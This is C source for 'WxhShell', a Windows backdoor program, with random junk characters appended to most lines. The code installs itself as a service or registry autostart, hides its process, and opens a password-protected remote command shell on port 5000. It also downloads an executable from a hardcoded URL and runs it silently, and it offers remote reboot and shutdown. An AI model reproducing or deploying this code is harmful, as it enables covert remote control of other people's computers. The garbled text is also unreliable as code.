DWORD AffinityMask; XjTu`?Na;
DWORD BasePriority; Xl
E0oN~{
ULONG UniqueProcessId; -a7BVEFts
ULONG InheritedFromUniqueProcessId; d5n>2iO
} PROCESS_BASIC_INFORMATION; G'{&*]Z\:
|?ZNGPt
PROCNTQSIP NtQueryInformationProcess; ?)7UqVyq
'AZxR4W
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J{$c|
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kT:?1 w'
Tb{RQ?Nw'
HANDLE hProcess; </W"e!?X
PROCESS_BASIC_INFORMATION pbi; @%r"7%tq>
n_*.i1\'w
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rGay~\
if(NULL == hInst ) return 0; =sk#`,,:
=0SJf 3
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j2mMm/kq\
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }Zfi/ ^0U
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =tl~@~pqI
T/jxsIt3
if (!NtQueryInformationProcess) return 0; Y /l~R7
wqgKs=y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hbs /S
if(!hProcess) return 0; hd)WdGJp
otQ
G6
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9G4os!x)
xp *d:
CloseHandle(hProcess);
=)J<R;
fP
llN8n
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qf{HGn_9~1
if(hProcess==NULL) return 0; <Ik5S1<h$H
#It!D5A
HMODULE hMod; lLI%J>b@
char procName[255]; 6sT(t8[
unsigned long cbNeeded; Y[W]YPs
6xu%M&ht
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OXbC\^qo@
;Pvnhy
CloseHandle(hProcess); (iht
LFp
..=lM:13|
if(strstr(procName,"services")) return 1; // 以服务启动 'h[7AZ&)#
Mo4c8wp&SM
return 0; // 注册表启动 @2TfW]6
} ;s#]."v_=
(N5"'`NZA
// 主模块 V6'k\5| _
int StartWxhshell(LPSTR lpCmdLine) 15MKV=?oY
{ \!*F:v0g^
SOCKET wsl; |7!B k$(vA
BOOL val=TRUE; $)'LbOe
int port=0; qos/pm$&i
struct sockaddr_in door; ~w(A3I.
W >|'4y)
if(wscfg.ws_autoins) Install();
!$<Kp6
>L$9fn/J
port=atoi(lpCmdLine); *p|->p6,u
SKGnx
if(port<=0) port=wscfg.ws_port; ?\zyeWK0L
boZ/*+t
WSADATA data; ;HiaX<O!
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -?Cu-'
P@Vs\wAT
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; C#RueDa.
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Pd~z%VoO
door.sin_family = AF_INET; IG~Zxn1o
door.sin_addr.s_addr = inet_addr("127.0.0.1"); !. :b}t
door.sin_port = htons(port); ]-l4
2~hQ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s:I 8~Cc
closesocket(wsl); JC}T*h>Ee
return 1; y8]vl;88yY
} CS0q#?
5'_:>0}
if(listen(wsl,2) == INVALID_SOCKET) { jJ?G7Q5l
closesocket(wsl); }MtORqK
return 1; M`xI N~
} 4thPR}DH}
Wxhshell(wsl); J~ wu*x
WSACleanup(); ozA%u,\7k
&09G9G snQ
return 0; 7>-99o^W
l
s%'\}
} 6L2Wv5C
E&Sr+D aPD
// 以NT服务方式启动 @==
"$uRw
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z]j_,3Hff
{ UN:cRH{?*
DWORD status = 0; HN<e)E38
DWORD specificError = 0xfffffff; ?yA
2N;
_V` QvnT}
serviceStatus.dwServiceType = SERVICE_WIN32; ~L.5;8a3Pe
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ZQmg;L&7
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $B OpjDV8
serviceStatus.dwWin32ExitCode = 0; {<i(aq?
serviceStatus.dwServiceSpecificExitCode = 0; '@"A{mrE
serviceStatus.dwCheckPoint = 0; <XzRRCYQ
serviceStatus.dwWaitHint = 0; ='(;!3ZH
EpENhC0
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vb`:
if (hServiceStatusHandle==0) return; /}s#
$[b1_Db
status = GetLastError(); dCzS f4:
if (status!=NO_ERROR) D?"Q)kVuD
{ uFaT~ 4
serviceStatus.dwCurrentState = SERVICE_STOPPED; KC54=Rf
serviceStatus.dwCheckPoint = 0; 3)XS^WG
serviceStatus.dwWaitHint = 0; ca%XA|_J
serviceStatus.dwWin32ExitCode = status; EDg; s-T=
serviceStatus.dwServiceSpecificExitCode = specificError; >,f5 5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ex{;&UWm
return; d/E0opv
} _;-b ZH
ZV[-$
serviceStatus.dwCurrentState = SERVICE_RUNNING; VC^QCuSq
serviceStatus.dwCheckPoint = 0; ZOL#Q+U
serviceStatus.dwWaitHint = 0; A$TFa:O|
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q|Nw @7$`
} p(A[ah_
_ sBFs.o
// 处理NT服务事件,比如:启动、停止 D~,iI7ac
VOID WINAPI NTServiceHandler(DWORD fdwControl) TH+TcYqO
{ CDDEWVd
switch(fdwControl) hxGo~<. :
{ RR>G}u9np
case SERVICE_CONTROL_STOP: q&,uJo
serviceStatus.dwWin32ExitCode = 0; ;$UB@)7%
serviceStatus.dwCurrentState = SERVICE_STOPPED; {tnhP^C3>
serviceStatus.dwCheckPoint = 0; 3.%jet1
serviceStatus.dwWaitHint = 0; PH!rWR
{ wT:mfS09N
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]kH8T'
} (-{.T
return; :Z]\2(x
case SERVICE_CONTROL_PAUSE: ),0Ea~LB4
serviceStatus.dwCurrentState = SERVICE_PAUSED; p0HcuB)Y
break; ZMch2 U8
case SERVICE_CONTROL_CONTINUE: 3UJSK+d\
serviceStatus.dwCurrentState = SERVICE_RUNNING; ak(P<OC-
break; #}8gHI-9%
case SERVICE_CONTROL_INTERROGATE: mMad1qCi7
break; 5
Praj
}; >F/5`=/'h
SetServiceStatus(hServiceStatusHandle, &serviceStatus); j7C&&G q
} g+=f=5I3
@T{I;8S
// 标准应用程序主函数 2X=*;r"{J
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9tB:1n}
{ 'zQp64]F
Y>K3.*.
// 获取操作系统版本 ;*e$k7}F
OsIsNt=GetOsVer(); I0sw/,J/Z
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8FBXdk?A
wQX%*GbL2
// 从命令行安装 =`wnng5m
if(strpbrk(lpCmdLine,"iI")) Install(); \Qz
7[(<t+
// 下载执行文件 G3t\2E9S
if(wscfg.ws_downexe) { `R:HMO[ow
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9Oc(Gl5az
WinExec(wscfg.ws_filenam,SW_HIDE); -[7S.
} h>n<5{zqM
xQ8?"K;iX
if(!OsIsNt) { \eS-wO7%
// 如果时win9x,隐藏进程并且设置为注册表启动 _({K6adb
HideProc(); 0EUC8Ni
StartWxhshell(lpCmdLine); '>UQsAvm
} PL7_j
else Yn-;+ 4 K
if(StartFromService()) |A:+[35
// 以服务方式启动 "@&I*1&
StartServiceCtrlDispatcher(DispatchTable); ;5=5HYx%
else `wLMJ,@f.
// 普通方式启动 WOf*1C
StartWxhshell(lpCmdLine); MT.D#jv&
t8S,C4
return 0; S d]`)
} }U$p[Gi<
(s!cd]Qa.
)}T0SGY
19^B610
=========================================== *AI?md
s#V:!
7
~H`(z zk
P!lTK
hgF4PdO1e
Rm=[Sj84
" H,U qU3b3
sTFRu
#include <stdio.h> `xu/|})KI
#include <string.h> 08;t%[R
#include <windows.h> i^6g1"h
#include <winsock2.h> <@H=XEn
#include <winsvc.h> X:gE
mcXc
#include <urlmon.h> AO^c=^
nV?e(}D
#pragma comment (lib, "Ws2_32.lib") j*@EJ"Gm>
#pragma comment (lib, "urlmon.lib") /Wm3qlv
4(}V$#^+
#define MAX_USER 100 // 最大客户端连接数 aZYs?b>Gm
#define BUF_SOCK 200 // sock buffer mX
QVL.P\
#define KEY_BUFF 255 // 输入 buffer iC Z1ARi
W8s/"
#define REBOOT 0 // 重启 h%(0|
#define SHUTDOWN 1 // 关机 HXRK<6k$
MNsgD3
#define DEF_PORT 5000 // 监听端口 Ed&M
ewzZb*\
#define REG_LEN 16 // 注册表键长度 mi$*,fz
#define SVC_LEN 80 // NT服务名长度 ~JxAo\2i
#kL4Rm;
// 从dll定义API B}2 JK9
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Km,:7#aV
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^1w*$5YI
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (% f2ZNen
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (= ,w$
rQD7ZN_ R
// wxhshell配置信息 ,#QLc
struct WSCFG { gIaPS0Q
int ws_port; // 监听端口 =[V
char ws_passstr[REG_LEN]; // 口令 Z\P&i#
int ws_autoins; // 安装标记, 1=yes 0=no 9x[|75}l
char ws_regname[REG_LEN]; // 注册表键名 rD SUhO{V
char ws_svcname[REG_LEN]; // 服务名 PEHaH"|([=
char ws_svcdisp[SVC_LEN]; // 服务显示名 s9}V nNr
char ws_svcdesc[SVC_LEN]; // 服务描述信息 !JVpR]lWS
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fW.)!EPO
int ws_downexe; // 下载执行标记, 1=yes 0=no p}R3AJ
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qox31pnS
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %y}l^P5z
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}; Na2n4x!
(.54`[2+L
// default Wxhshell configuration 5Rec~&v
struct WSCFG wscfg={DEF_PORT, Sej\Gt
"xuhuanlingzhe", E;C=V2#>[
1, /J0ctJ2k
"Wxhshell", +idp1SJ4
"Wxhshell", 6 N.+
"WxhShell Service", Um\_G@
"Wrsky Windows CmdShell Service", A/{0J\pA
"Please Input Your Password: ", dk4|*l-
1, h2]gA_T`
"http://www.wrsky.com/wxhshell.exe",
dJwE/s
"Wxhshell.exe" ![#>{Q4i
}; Rt10:9Kz$
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// 消息定义模块 vx8-~Oq{|;
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .ITR3]$
char *msg_ws_prompt="\n\r? for help\n\r#>"; nPS:T|*G
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X[up$<